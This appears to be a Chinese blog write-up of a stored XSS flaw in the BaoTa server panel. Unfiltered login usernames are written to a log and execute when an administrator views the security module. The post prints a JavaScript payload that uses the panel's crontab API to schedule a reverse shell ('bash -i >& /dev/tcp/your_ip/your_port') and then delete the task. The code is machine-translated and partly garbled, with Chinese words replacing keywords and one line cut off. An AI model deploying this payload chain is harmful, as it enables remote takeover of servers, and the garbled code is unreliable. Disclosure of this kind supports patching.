我们可以看到这里首先判断了是否有用户名密码,然后是验证码。判断这个IP是否是有登陆失败的记录。如果大于1记录一下,随后将错误次数大于1的用户名的和密码都进行了记录。
从数据库中读取管理员账 密码。进行对比。如果没有成功就返回一个错误
关键的代码如下:
这里就是一个写日志的功能。定义了一个teyp然后是args。这里把代码传递过来。就直接写入了日志。没有做任何过滤处理。然后就导致了xss漏洞产生。
可以在宝塔数据库当中,看到日志数据库里存储的信息
登录后台后,打开安全模块,成功触发弹窗。
远程调用的JS代码如下:
功能 addTask(TASKNAME, execTime, IP, 端口) {
VAR execShell = ‘的bash -i>&的/ dev / TCP / your_ip / your_port 0>&1’;
execShell = encodeURIComponent(execShell);
var params = ‘name =’ + TaskName + ‘&type = minute-n&where1 =’ + execTime + ‘&hour =&minute =&week =&sType = toShell&sBody =’ + execShell + ‘&sName =&backupTo = localhost&save =&
= new XMLHttpRequest();
xhr。open(‘POST’, ‘/ crontabtion = AddCrontab’, false);
xhr。setRequestHeader(‘Content-Type’, ‘application / x-www-form-urlencoded’);
xhr。发送(params);
}
功能 execTask(TASKNAME) {
VAR XHR = 新 的XMLHttpRequest();
xhr。open(‘POST’, ‘/ crontabtion = GetCrontab’, true);
xhr。send();
xhr。的onload = 函数 () {
如果 (此。readyState的 == 4 && 此。状态 == 200) {
VAR RES = JSON。解析(此。responseText的);
如果 (RES[0]。名 == TASKNAME) {
VAR 的TaskID = RES[0]。id。toString();
var xhr = new XMLHttpRequest();
xhr。open(‘POST’, ‘/ crontabtion = StartTask’, false);
xhr。setRequestHeader(‘Content-Type’, ‘application / x-www-form-urlencoded’);
var params = ‘id =’ + TaskID;
xhr。发送(params);
delTask(RES[0]。ID);
控制台。log(res[0].id);
返回 res[0]。id;
}
}
}
}
function delTask(TaskID) {
var params = ‘id =’ + TaskID。toString();
var xhr = new XMLHttpRequest();
xhr。open(‘POST’, ‘/ crontabtion = DelCrontab’, false);
xhr。setRequestHeader(‘Content-Type’, ‘application / x-www-form-urlencoded’);
xhr。发送(params);
}
var TaskName = Math。随机()。toString(36)。substring(7);
addTask(TASKNAME, ‘5’, ‘1.1.1.1’, ’53’);
execTask(TASKNAME);
【后序】
宝塔官方已修复该漏洞,但仍有大量存在漏洞主机暴露于公 ,请及时更新至最新版本。
官方已修复该漏洞,漏洞环境可以将附件当中的test.py同名覆盖掉宝塔最新版的/ WWW /服务器/板/类/ userlogin.py
嘤嘤嘤?打个小广告,DAF团队收人,PWN选手, 络选手,一起打比赛挖洞技术交流?有意请投递简历至admin@dafsec.org
文章知识点与官方知识档案匹配,可进一步学习相关知识CS入门技能树Linux入门初识Linux24975 人正在系统学习中 相关资源:陈式太极拳教学软件+注册机1-专业指导文档类资源-CSDN文库
声明:本站部分文章及图片源自用户投稿,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!